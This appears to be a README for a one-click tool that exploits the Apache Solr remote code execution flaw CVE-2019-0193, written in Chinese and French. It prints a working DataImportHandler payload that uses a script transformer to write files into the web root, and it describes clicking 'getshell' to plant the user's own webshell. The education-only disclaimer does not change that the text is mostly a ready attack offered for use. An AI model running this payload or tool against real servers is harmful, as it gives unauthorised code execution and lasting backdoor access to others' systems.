
ApacheSolrRCE(CVE-2019-0193)一键写shell,原理是通过代码执行的java文件流写的马。
À utiliser uniquement pour l'enseignement et l'échange en sécurité de l'information, ne pas l'utiliser pour des tests ou des attaques illégaux.
ApacheSolrRCE (CVE-2019-0193) écrit un shell en un clic, le principe est d'écrire un cheval (web shell) via un flux de fichiers Java exécuté par du code.
Note : l'auteur est encore novice, si vous avez un bug ou d'autres besoins, veuillez télécharger le code et le modifier vous-même.
Étant donné que les payloads circulant sur Internet sont toutes des exécutions de commandes et qu'il n'est pas pratique d'obtenir un webshell, j'ai donc écrit ce payload (lorsque 123456 est renvoyé, cela signifie que l'écriture a réussi).
Note : L'outil ne peut aider que pour les tests, si l'outil n'arrive pas à écrire, il est recommandé de le faire manuellement.
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
Cliquez d'abord sur Détection pour obtenir le core et déterminer s'il existe une vulnérabilité.
Puis cliquez sur getshell.
Note : Placez votre webshell dans le répertoire shell, l'outil chargera automatiquement votre webshell dans la liste déroulante.
Le proxy par défaut est un proxy HTTP, le port est 8080, c'est codé en dur dans le code, si nécessaire, compilez et modifiez vous-même.